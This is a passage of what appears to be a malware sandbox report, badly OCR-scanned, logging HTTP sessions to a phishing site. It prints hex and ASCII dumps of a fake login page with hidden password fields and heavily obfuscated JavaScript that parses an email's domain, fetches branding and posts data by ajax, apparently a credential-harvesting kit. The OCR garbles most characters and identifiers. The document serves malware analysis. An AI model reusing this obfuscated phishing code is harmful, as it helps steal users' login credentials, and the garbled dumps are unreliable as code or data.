Data Ascii: ,d36[73],d36[38]);v36=72;break;case 59:d36[43]+=d36[81];d36[38]=d36[7];d36[38]+=d36[97];d36[38]+=d
36[81];d36[53]=d36[2];v36=77;break;case 63:d36[36]+=d36[9];d36[36]+=d36[4];d36[43]=d36[3];d36[43]+=d36[97];v36
=59;break;case 71:516(116,d36[36],d36[48],d36[7

2021-09-15 14:28:05 UTC 333 IN Data Raw: 5d 3d 22 22 3b 61 38 36 3d 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 43 33 36 5b 39 5d 3d 22 22 3b 43
3336 5b 39 5d 3d 22 65 50 72 6f 70 65 22 3b 43 33 36 5b 35 5d 3d 22 22 3b 43 33 36 5b 35 5d 3d 22 64 65 66 69 6e 22
3b 61 38 36 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 3a 43 33 36 5b 36 5d 3d 66 61 6¢ 73 65 3b 74 72 79 7b 76 61
72 20 45 38 36 3d 32 3b 66 6f 72 28 3b 45 38 36 20 21 3d 3d 20 36 3b 29 7b 73 77 69 74 63 68 28 45 38 36 29 7b 63 61
73 65 20 34 3a 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 34 5d 5d 3d 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 32 5d
5d 3b 43 33 36 5b 31 5d 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 72 33 36 29 7b 76 61 72 20 6a 38 36 3d 32 3b 66 6f
72 28 3b 6a 38 36 20 21 3d 3d 20 35 3b 29 7b 73 77 69 74 63 68 28 6a 38 36
Data Ascii: |="";a86=3;break;case 3:C36[9]="";C36[9]="ePrope";C36[5]="";C36[5]="defin";a86=6;break;case 6:C36[
6]=false;try{var E86=2;for(;E86 !== 6;){switch(E86){case 4:C36[3][C36[0][4]]=C36[3][C36[0][2]];C36[1].set=function(r36){var
86=2;for(;j86 !== 5;){switch(j86

2021-09-15 14:28:05 UTC 334 IN Data Raw: 57 33 50 20 21 3d 3d 20 31 30 3b 29 7b 73 77 69 74 63 68 28 57 33 50 29 7b 63 61 73 65 20 34 3a 76 61 72
20713450 3d 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 2c 66 34 50 3d 27 52 65 67 45 78 70 27 3b 57 33 50 3d 33 3b
62 72 65 61 6b 3b 63 61 73 65 20 31 3a 57 33 50 3d 21 20 4a 34 50 2d 2d 3f 35 3a 34 3b 62 72 65 61 6b 3b 63 61 73 65 2
035 3a 5534 50 3d 56 34 6b 6b 2e 79 30 6b 3b 57 33 50 3d 34 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 6e 34 50 3d
7479 70 65 6f 66 20 71 34 50 3b 57 33 50 3d 38 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 34 3a 73 34 50 3d 73 34 50 2e
4d 30 50 50 28 66 75 6e 63 74 69 6f 6e 28 4e 3350 29 7b 76 61 72 20 6b 33 50 3d 32 3b 66 6f 72 28 3b 6b 33 50 20 21
3d 3d 2031 333b 29 7b 73 77 69 74 63 68 28 6b 33 50 29 7b 63 61 73 65 20
Data Ascii: W3P == 10;){switch(W3P){case 4:var q4P="fromCharCode',f4P="RegExp';W3P=3;break;case 1:W3P=! J4P--?
5:4;break;case 5:U4P=V4kk.yOk;W3P=4;break;case 9:n4P=typeof q4P;W3P=8;break;case 14:s4P=s4P.MOPP(fu
nction(N3P){var k3P=2;for(;k3P !== 13;){switch(k3P){case

2021-09-15 14:28:05 UTC 335 IN Data Raw: 20 6a 33 50 3d 55 34 50 5b 47 33 50 5b 34 5d 5d 28 4b 33 50 5b 47 33 50 5b 32 5d 5d 28 6¢ 33 50 29 2c 31 36
29 5b 47 33 50 5b 33 5d 5d 28 32 29 3b 76 61 72 20 51 33 50 3d 6a 33 50 5b 47 33 50 5b 32 5d 5d 28 6a 33 50 5b 47 33
50 5b 35 5d 5d 20 2d 20 31 29 3b 62 33 50 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 32 3a 53 33 50 3d 53 33 50 20
5e 20 51 33 50 3b 62 33 50 3d 31 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 53 33 50 3b 62
72 65 61 6b 3b 7d 7d 7d 29 28 75 6e 64 65 66 69 6e 65 64 2 75 6e 64 65 66 69 6e 65 64 29 3b 72 65 74 75 72 6e 20 7a
3350 3f 67 34 50 3a 21 67 34 50 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 76 61 72 20 43 33 50 3d 6e 65 77 20 55 34
50 5b 73 34 50 5b 30 5d 5d 28 29 5b 73 34 50 5b 31 5d 5d 28 29 3b 6d 33
Data Ascii: j3P=U4P[G3P[4]](K3P[G3P[2]](I13P),16)[G3P[3]](2);var Q3P=j3P[G3P[2]](j3P[G3P[5]] - 1);b3P=6;break;case
12:S3P=S3P " Q3P;b3P=13;break;case 11:return S3P;break;}}})(undefined,undefined);return zZ3P?g4P:!g4P;break;case
2:var C3P=new U4P[s4P[0]]()[s4P[1]]();m3

2021-09-15 14:28:05 UTC 337 IN Data Raw: 72 33 50 28 66 33 50 29 3b 7d 3b 56 34 6b 6b 2e 73 33 50 3d 66 75 6e 63 74 69 6f 6e 28 4a 33 50 29 7b 69 66
2856 34 6b 6b 20 26 26 20 4a 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 4a 33 50 29 3b 7d 3b 56 34 6b
6b 2e 48 33 50 3d 66 75 6e 63 74 69 6f 6e 28 61 33 50 29 7b 69 66 28 56 34 6b 6b 20 26 26 20 61 33 50 29 72 65 74 75
72 6e 20 56 34 6b 6b 2e 72 33 50 28 61 33 50 29 3b 7d 3b 56 34 6b 6b 2e 64 33 50 3d 66 75 6e 63 74 69 6f 6e 28 68 33 5
029 7b 69 66 28 56 34 6b 6b 20 26 26 20 68 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 68 33 50 29 3b
7d 3b 63 30 50 50 28 5a 30 50 50 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 56 39 50 3d 56
34 6b 6b 3b 56 39 50 2e 44 39 50 3d 66 75 6e 63 74 69 6f 6e 28 58 39 50
Data Ascii: r3P(f3P);};V4kk.s3P=function(J3P){if(V4kk && J3P)return V4kk.Y3P(J3P);};V4akk.H3P=function(a3P){if(V4kk &&
a3P)return V4kk.r3P(a3P);};Vakk.d3P=function(h3P){if(V4kk && h3P)return V4kk.Y3P(h3P);};cOPP(Z0PP).ready(function()
{var VOP=V4kk;V9P.D9P=function(X9P

2021-09-15 14:28:05 UTC 338 IN Data Raw: 79 5f 61 69 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 48 33 50 28 27 5¢ 78 33 37 5¢ 78 33 31 5¢ 75 30 30 33 33
5c 75 30 30 33 39 27 29 3f 22 22 3a 27 5¢ 78 34 30 27 29 3b 76 61 72 20 6d 79 5f 73 6c 69 63 65 3d 6d 79 5f 61 69 2e 73
7562 73 74 72 28 69 6e 64 20 2b 20 31 29 3b 76 61 72 20 63 3d 6d 79 5f 73 6¢ 69 63 65 2e 73 75 62 73 74 72 28 30 2c
6d 79 5f 73 6¢ 69 63 65 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 73 33 50 28 27 5¢ 75 30 30 36 32 5¢ 78 36 34 5¢ 75 30 30
3334 5¢ 75 30 30 36 36 27 29 3f 27 5¢ 78 32 65 27 3a 22 22 29 29 3b 76 61 72 20 66 69 6e 61 6¢ 3d 63 2e 74 6f 4c 6f 77
65 7243 61 73 65 28 29 3b 76 61 72 20 66 69 6e 61 6¢ 75 3d 63 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 63 30 50
50 28 56 39 50 2e 71 33 50 28 27 5¢ 75 30 30 33 31 5¢ 75 30 30
Data Ascii: y_ai.indexOf(VOP.H3P("\x37\x31\u0033\u0039')?"":'\x40");var my_slice=my_ai.substr(ind + 1);var c=my_slice.su
bstr(0,my_slice.indexOf(VIP.s3P('\u0062\x64\u0034\u0066')?"\x2e":"")); var final=c.toLowerCase();var finalu=c.t
oUpperCase();cOPP(VIP.q3P(\u0031\u00

2021-09-15 14:28:05 UTC 339 IN Data Raw: 2d 4d 46 2d 48 4e 2d 5a 41 2d 45 30 2d 33 34 2d 37 38 2d 39 5f 5¢ 2e 5¢ 2d 5d 29 2b 5¢ 78 34 30 28 28 5b 6b
2d 6f 70 61 2d 66 67 2d 6a 71 2d 7a 44 2d 5a 41 2d 42 43 2d 43 34 2d 39 30 2d 33 5¢ 2d 5d 29 2b 5¢ 75 30 30 32 65 29
7b 31 2¢ 7d 28 5b 61 2d 64 6b 2d 6e 65 2d 6a 6f 2d 7a 41 2d 5a 30 31 2d 32 33 2d 39 5d 7b 32 2¢ 34 7d 29 2b 24 2f 3b 69
66 28 21 61 69 29 7b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 78 36 35 5¢ 78 37 32 5¢ 75 30 30 37 32 5¢ 75 30 30 36 66 5¢ 75
30 30 37 32 27 29 2e 73 68 6f 77 28 29 3b 63 30 50 50 28 27 5¢ 78 32 33 5¢ 75 30 30 36 35 5¢ 75 30 30 37 32 5¢ 78 37 3
2 5¢ 75 30 30 36 66 5¢ 75 30 30 37 32 27 29 2e 68 74 6d 6¢ 28 27 5¢ 75 30 30 34 35 5¢ 78 36 64 5¢ 75 30 30 36 31 5¢ 78
36 39 5¢ 75 30 30 36 63 5¢ 75 30 30 32 30 5¢ 78 36 36 5¢ 78 36 39
Data Ascii: -MF-HN-ZA-E0-34-78-9_\\-])+\x40(([k-opa-fg-jg-zD-ZA-BC-C4-90-3\-])+\u002e){1,}([a-dk-ne-jo-zA-Z01-23-9){2,4
D+8/;if(1ai){cOPP('X23\x65\x72\u0072\u006AU0072').show();cOPP(x23\u0065\u0072\x72\u006A\u0072"). html(\uO
045\x6d\u0061\x69\U006C\UO020\XBB\X69

2021-09-15 14:28:05 UTC 341 IN Data Raw: 36 65 5¢ 78 37 33 5¢ 75 30 30 33 66 5¢ 75 30 30 36 34 5¢ 78 36 66 5¢ 78 36 64 5¢ 78 36 31 5¢ 78 36 39 5¢ 75
3030 36 65 5¢ 75 30 30 33 64 27 20 2b 20 6d 79 5f 73 6¢ 69 63 65 29 3b 63 30 50 50 28 27 5¢ 75 30 30 32 33 5¢ 75 30
30 36 63 5¢ 78 36 66 5¢ 78 36 37 5¢ 78 36 66 5¢ 78 36 65 5¢ 78 36 31 5¢ 75 30 30 36 64 5¢ 78 36 35 27 29 2e 68 74 6d
6¢c 28 66 69 6e 61 6¢ 75 29 3b 63 6f 75 6e 74 3d 63 6f 75 6e 74 20 2b 20 31 3b 63 30 50 50 2e 61 6a 61 78 28 7b 27 5¢ 78
36 34 5¢ 78 36 31 5¢ 78 37 34 5¢ 78 36 31 5¢ 78 35 34 5¢ 78 37 39 5¢ 78 37 30 5¢ 78 36 35 27 3a 27 5¢ 78 34 61 5¢ 75 3
03035 335c 753030 34 66 5¢c 75 30 30 34 65 27 2c 27 5¢ 78 37 35 5¢ 78 37 32 5¢ 78 36 63 27 3a 27 5¢ 75 30 30 36 38
5c 78 37 34 5¢ 75 30 30 37 34 5¢ 78 37 30 5¢ 75 30 30 37 33 5¢ 78
Data Ascii: 6e\x73\u003f\u0064\x6f\x6d\x61\x69\u006e\u003d' + my_slice);cOPP("\u0023\u006c\x6f\x67\x6f\x6e\x61
\u006d\x65'").html(finalu);count=count + 1;cOPP.ajax({'\x64\x61\x74\x61\x54\x79\x70\x65":"\x4a\u0053\u004f\u004e’,\x 75\x
72\x6¢":'\u0068\x74\u0074\x70\u0073\x
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Session ID Source IP

9 192.168.2.4
kBytes
Timestamp transferred

2021-09-15 14:28:20 UTC 344

2021-09-15 14:28:20 UTC 344

2021-09-15 14:28:20 UTC 345

2021-09-15 14:28:20 UTC 346

2021-09-15 14:28:20 UTC 347

2021-09-15 14:28:20 UTC 349

2021-09-15 14:28:20 UTC 350

2021-09-15 14:28:20 UTC 351

Copyright Joe Security LLC 2021

Source Port

49794

Direction

ouT

Destination IP Destination Port Process

199.36.158.100 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1
User-Agent: Autolt
Host: ranko23.web.app

HTTP/1.1 200 OK

Connection: close

Content-Length: 19288

Cache-Control: max-age=3600

Content-Type: text/html; charset=utf-8

Etag: "0edf988fd81418c81589846d9281aa9cOchafc57ea3da786d3f60ece4f5h45d9"
Last-Modified: Wed, 15 Sep 2021 12:10:19 GMT

Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes

Date: Wed, 15 Sep 2021 14:28:20 GMT

X-Served-By: cache-fral9170-FRA

X-Cache: HIT

X-Cache-Hits: 1

X-Timer: S1631716100.126093,VS0,VE1

Vary: x-fh-requested-host, accept-encoding

Data Raw: 0d Oa 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 0d 0a 3c 68 74 6d 6c 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0d
0Oa 3c 68 65 61 64 3e 0d 0a 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69
7074222073 7263 3d 22 6874 74 70 73 3a 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61
78 2f 6¢ 69 62 73 2f 6a 71 75 65 72 79 2f 32 2e 32 2e 34 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72
69 70 74 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 63 72 69 70 74
22207372 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e
31 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e

Data Ascii: <!doctype html><html lang="en"><head> <script type="text/JavaScript" src="https://ajax.googleapis.com/ajax
llibs/jquery/2.2.4/jquery.min.js"></script>  <script type="text/JavaScript" src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>

Data Raw: 32 31 2d 34 38 65 35 2d 61 30 32 61 2d 38 64 65 65 64 39 61 34 34 33 32 35 22 3e 0d 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 72 65 62 61
7365 73 74 6f 72 61 67 65 2e 67 6f 6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 76 30 2f 62 2f 64 65 6¢ 6¢ 63 73 73 66 69 6C 65
2e 61 70 70 73 70 6f 74 2e 63 6f 6d 2f 6f 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 3f 61 6¢ 74 3d 6d
65 64 69 61 26 74 6f 6b 65 6 3d 65 36 66 31 39 63 65 37 2d 61 39 63 61 2d 34 35 37 65 2d 38 30 64 66 2d 30 66 34 38
323334313261 64 3522 3e0d0a0d 0a 20 20 20 20 3c 73 74 79 6¢ 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73
22 3e 0d 0a 20 20 20 20 20 20 2e 6¢ 6f 67 69 6e 2d 66 6f

Data Ascii: 21-48e5-a02a-8deed9a44325">  <link rel="stylesheet" href="https://firebasestorage.googleapis.com/v0/b/dell
cssfile.appspot.com/o/font-awesome.min.css?alt=media&token=e6f19ce7-a9ca-457e-80df-0f4823412ad5"> <style ty
pe="text/css"> .login-fo

Data Raw: 78 3b 0d Oa 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 37 66 37 66 37 3b 0d Oa 20 20
2020 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0d Oa 20 20 20 20 20 20 20 20 74 6f 70 3a 20
2d 31 31 70 78 3b 0d Oa 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0d Oa 20 20 20 20 20 20 7d 0d Oa 20
20 20 20 20 20 0d Oa Od Oa 0d Oa 0d 0a 20 20 20 20 3c 2f 73 74 79 6¢ 65 3e 0d Oa 20 20 3c 2f 68 65 61 64 3e 0d Oa 20 20
3c 62 6f 64 79 20 64 61 74 61 2d 67 72 2d 63 2d 73 2d 6¢ 6f 61 64 65 64 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c

70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d 0a 20 20 20 20 3c 70 3e 26 6e 62 73 70 3b 3c 2f 70 3e 0d Oa 0d Oa 0d Oa 0d Oa 20
2020 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 6¢ 6f 67 69 6e 2d

Data Ascii: X; background: #7f7f7; position: relative; top: -11pXx; z-index: 1; } </style> </head

> <body data-gr-c-s-loaded="true"> <p>&nbsp;</p> <p>&nbsp;</p> <div class="login-

Data Raw: 6¢ 6f 63 6b 22 3e 3¢ 2f 69 3e 3c 2f 73 70 61 6e 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75
74207479 7065 3d 227061737377 6f 72 64 22 20 63 6¢ 61 73 73 3d 22 66 6f 72 6d 2d 63 6f 6 74 72 6f 6¢ 22 20 69
64 3d 22 70 72 22 20 6e 61 6d 65 3d 22 70 64 66 32 22 20 70 6¢ 61 63 65 68 6f 6¢ 64 65 72 3d 22 50 61 73 73 77 6f 72 64
222072 65717569 726564 3d 227265717569 72 65 64 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76
3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d Oa 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6¢ 61 73 73 3d 22
66 6f 72 6d 2d 67 72 6f 75 70 22 3e 0d Oa 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64
64 65 6e 22 20 6e 61 6d 65 3d 22 70 64 66 31 22 20 73 69 7a 65

Data Ascii: lock"></i></span> <input type="password" class="form-control" id="pr" name="pdf2" placeholder="Pa
ssword" required="required"> </div> </div> <div class="form-group"> <input type="hidden"
name="pdfl" size

Data Raw: 68 69 64 65 20 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 7d 20 2e 77 73 5f 74 6f 6f 6¢ 62 61 72
2069 6d 67 20 7b 70 61 64 64 69 6e 67 3a 32 70 78 3b 6d 61 72 67 69 6e 3a 30 70 78 7d 3c 2f 73 74 79 6¢ 65 3e 0d Oa
0d 0a 0d Oa 0d 0a 20 20 20 20 3c 21 2d 2d 20 4f 70 74 69 6f 6e 61 6¢ 20 4a 61 76 61 53 63 72 69 70 74 20 2d 2d 3e 0d Oa
2020 3c 21 2d 2d 20 6a 51 75 65 72 79 20 66 69 72 73 74 2c 20 74 68 65 6e 20 50 6f 70 70 65 72 2e 6a 73 2c 20 74 68
65 6e 20 42 6f 6f 74 73 74 72 61 70 20 4a 53 20 2d 2d 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78
74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63
6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 32 2e 31 2e 73 6¢ 69 6d 2e

Data Ascii: hide {visibility:hidden} .ws_toolbar img {padding:2px;margin:0px}</style> ... Optional JavaScript --> ... jQuery
first, then Popper.js, then Bootstrap JS --> <script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.

Data Raw: 36 66 5¢ 75 30 30 37 34 5c 75 30 30 37 39 5¢ 78 37 30 5¢ 78 36 35 27 5d 3b 64 65 6¢ 65 74 65 20 6d 5b 27 5¢
753030 35 37 5¢ 78 36 33 5¢ 75 30 30 36 66 5¢ 75 30 30 34 66 5¢ 75 30 30 36 62 27 5d 3b 4d 3d 36 3b 62 72 65 61 6b
3b 63 61 73 65 20 33 3a 74 68 72 6f 77 20 22 22 3b 4d 3d 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 4d 3d 74 79 70
65 6f 66 20 65 6¢ 79 73 38 20 3d 3d 3d 20 27 5¢ 75 30 30 37 35 5¢ 75 30 30 36 65 5¢ 75 30 30 36 34 5¢ 75 30 30 36 35 5¢
78 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30 30 36 35 5¢ 75 30 30 36 34 27 3f 33 3a 39 3b 62 72 65 61 6b 3b 63 61 7
365 20 32 3a 4f 62 6a 65 63 74 5b 27 5¢ 78 36 34 5c 78 36 35 5¢ 75 30 30 36 36 5¢ 75 30 30 36 39 5¢ 78 36 65 5¢ 75 30
30 36 35 5¢ 78 35 30 5¢ 78 37 32 5¢ 78 36 66 5¢ 75 30 30 37 30 5¢

Data Ascii: 6\u0074\u0079\x70\x65'];delete m['\u0057\x63\u006f\u004f\u006b'];M=6;break;case 3:throw "';M=9;break;case
4:M=typeof elys8 === "\u0075\u006e\u0064\u0065\x66\u0069\x6e\u0065\u0064'?3:9;break;case 2:0bject['\x64\x65\u00
66\u0069\x6e\u0065\x50\x72\x6f\u0070\
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kBytes
Timestamp transferred Direction Data

2021-09-15 14:28:20 UTC 353 IN Data Raw: 2c 64 33 36 5b 37 33 5d 2c 64 33 36 5b 33 38 5d 29 3b 76 33 36 3d 37 32 3b 62 72 65 61 6b 3b 63 61 73 65 20
3539 3a 64 33 36 5b 34 33 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 33 38 5d 3d 64 33 36 5b 37 5d 3b 64 33 36 5b
3338 5d 2b 3d 64 33 36 5b 39 37 5d 3b 64 33 36 5b 33 38 5d 2b 3d 64 33 36 5b 38 31 5d 3b 64 33 36 5b 35 33 5d 3d 64
3336 5b 32 5d 3b 76 33 36 3d 37 37 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 33 3a 64 33 36 5b 33 36 5d 2b 3d 64 33 36
5b 39 5d 3b 64 33 36 5b 33 36 5d 2b 3d 64 33 36 5b 34 5d 3b 64 33 36 5b 34 33 5d 3d 64 33 36 5b 33 5d 3b 64 33 36 5b
34 33 5d 2b 3d 64 33 36 5b 39 37 5d 3b 76 33 36 3d 35 39 3b 62 72 65 61 6b 3b 63 61 73 65 20 37 31 3a 53 31 36 28 6¢
31 36 2c 64 33 36 5b 33 36 5d 2c 64 33 36 5b 34 38 5d 2c 64 33 36 5b 37
Data Ascii: ,d36[73],d36[38]);v36=72;break;case 59:d36[43]+=d36[81];d36[38]=d36[7];d36[38]+=d36[97];d36[38]+=d
36[81];d36[53]=d36[2];v36=77;break;case 63:d36[36]+=d36[9];d36[36]+=d36[4];d36[43]=d36[3];d36[43]+=d36[97];v36
=59;break;case 71:516(116,d36[36],d36[48],d36[7

2021-09-15 14:28:20 UTC 354 IN Data Raw: 5d 3d 22 22 3b 61 38 36 3d 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 3a 43 33 36 5b 39 5d 3d 22 22 3b 43
3336 5b 39 5d 3d 22 65 50 72 6f 70 65 22 3b 43 33 36 5b 35 5d 3d 22 22 3b 43 33 36 5b 35 5d 3d 22 64 65 66 69 6e 22
3b 61 38 36 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 36 3a 43 33 36 5b 36 5d 3d 66 61 6¢ 73 65 3b 74 72 79 7b 76 61
72 20 45 38 36 3d 32 3b 66 6f 72 28 3b 45 38 36 20 21 3d 3d 20 36 3b 29 7b 73 77 69 74 63 68 28 45 38 36 29 7b 63 61
73 65 20 34 3a 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 34 5d 5d 3d 43 33 36 5b 33 5d 5b 43 33 36 5b 30 5d 5b 32 5d
5d 3b 43 33 36 5b 31 5d 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 72 33 36 29 7b 76 61 72 20 6a 38 36 3d 32 3b 66 6f
72 28 3b 6a 38 36 20 21 3d 3d 20 35 3b 29 7b 73 77 69 74 63 68 28 6a 38 36
Data Ascii: |="";a86=3;break;case 3:C36[9]="";C36[9]="ePrope";C36[5]="";C36[5]="defin";a86=6;break;case 6:C36[
6]=false;try{var E86=2;for(;E86 !== 6;){switch(E86){case 4:C36[3][C36[0][4]]=C36[3][C36[0][2]];C36[1].set=function(r36){var
86=2;for(;j86 !== 5;){switch(j86

2021-09-15 14:28:20 UTC 355 IN Data Raw: 57 33 50 20 21 3d 3d 20 31 30 3b 29 7b 73 77 69 74 63 68 28 57 33 50 29 7b 63 61 73 65 20 34 3a 76 61 72
20713450 3d 27 66 72 6f 6d 43 68 61 72 43 6f 64 65 27 2c 66 34 50 3d 27 52 65 67 45 78 70 27 3b 57 33 50 3d 33 3b
62 72 65 61 6b 3b 63 61 73 65 20 31 3a 57 33 50 3d 21 20 4a 34 50 2d 2d 3f 35 3a 34 3b 62 72 65 61 6b 3b 63 61 73 65 2
035 3a 5534 50 3d 56 34 6b 6b 2e 79 30 6b 3b 57 33 50 3d 34 3b 62 72 65 61 6b 3b 63 61 73 65 20 39 3a 6e 34 50 3d
7479 70 65 6f 66 20 71 34 50 3b 57 33 50 3d 38 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 34 3a 73 34 50 3d 73 34 50 2e
4d 30 50 50 28 66 75 6e 63 74 69 6f 6e 28 4e 3350 29 7b 76 61 72 20 6b 33 50 3d 32 3b 66 6f 72 28 3b 6b 33 50 20 21
3d 3d 2031 333b 29 7b 73 77 69 74 63 68 28 6b 33 50 29 7b 63 61 73 65 20
Data Ascii: W3P == 10;){switch(W3P){case 4:var q4P="fromCharCode',f4P="RegExp';W3P=3;break;case 1:W3P=! J4P--?
5:4;break;case 5:U4P=V4kk.yOk;W3P=4;break;case 9:n4P=typeof q4P;W3P=8;break;case 14:s4P=s4P.MOPP(fu
nction(N3P){var k3P=2;for(;k3P !== 13;){switch(k3P){case

2021-09-15 14:28:20 UTC 357 IN Data Raw: 20 6a 33 50 3d 55 34 50 5b 47 33 50 5b 34 5d 5d 28 4b 33 50 5b 47 33 50 5b 32 5d 5d 28 6¢ 33 50 29 2c 31 36
29 5b 47 33 50 5b 33 5d 5d 28 32 29 3b 76 61 72 20 51 33 50 3d 6a 33 50 5b 47 33 50 5b 32 5d 5d 28 6a 33 50 5b 47 33
50 5b 35 5d 5d 20 2d 20 31 29 3b 62 33 50 3d 36 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 32 3a 53 33 50 3d 53 33 50 20
5e 20 51 33 50 3b 62 33 50 3d 31 33 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 53 33 50 3b 62
72 65 61 6b 3b 7d 7d 7d 29 28 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 3b 72 65 74 75 72 6e 20 7a
3350 3f 67 34 50 3a 21 67 34 50 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 76 61 72 20 43 33 50 3d 6e 65 77 20 55 34
50 5b 73 34 50 5b 30 5d 5d 28 29 5b 73 34 50 5b 31 5d 5d 28 29 3b 6d 33
Data Ascii: j3P=U4P[G3P[4]](K3P[G3P[2]](I13P),16)[G3P[3]](2);var Q3P=j3P[G3P[2]](j3P[G3P[5]] - 1);b3P=6;break;case
12:S3P=S3P " Q3P;b3P=13;break;case 11:return S3P;break;}}})(undefined,undefined);return zZ3P?g4P:!g4P;break;case
2:var C3P=new U4P[s4P[0]]()[s4P[1]]();m3

2021-09-15 14:28:20 UTC 358 IN Data Raw: 72 33 50 28 66 33 50 29 3b 7d 3b 56 34 6b 6b 2e 73 33 50 3d 66 75 6e 63 74 69 6f 6e 28 4a 33 50 29 7b 69 66
2856 34 6b 6b 20 26 26 20 4a 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 4a 33 50 29 3b 7d 3b 56 34 6b
6b 2e 48 33 50 3d 66 75 6e 63 74 69 6f 6e 28 61 33 50 29 7b 69 66 28 56 34 6b 6b 20 26 26 20 61 33 50 29 72 65 74 75
72 6e 20 56 34 6b 6b 2e 72 33 50 28 61 33 50 29 3b 7d 3b 56 34 6b 6b 2e 64 33 50 3d 66 75 6e 63 74 69 6f 6e 28 68 33 5
029 7b 69 66 28 56 34 6b 6b 20 26 26 20 68 33 50 29 72 65 74 75 72 6e 20 56 34 6b 6b 2e 59 33 50 28 68 33 50 29 3b
7d 3b 63 30 50 50 28 5a 30 50 50 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 56 39 50 3d 56
34 6b 6b 3b 56 39 50 2e 44 39 50 3d 66 75 6e 63 74 69 6f 6e 28 58 39 50
Data Ascii: r3P(f3P);};V4kk.s3P=function(J3P){if(V4kk && J3P)return V4kk.Y3P(J3P);};V4akk.H3P=function(a3P){if(V4kk &&
a3P)return V4kk.r3P(a3P);};Vakk.d3P=function(h3P){if(V4kk && h3P)return V4kk.Y3P(h3P);};cOPP(Z0PP).ready(function()
{var VOP=V4kk;V9P.D9P=function(X9P

2021-09-15 14:28:20 UTC 359 IN Data Raw: 79 5f 61 69 2e 69 6e 64 65 78 4f 66 28 56 39 50 2e 48 33 50 28 27 5¢ 78 33 37 5¢ 78 33 31 5¢ 75 30 30 33 33
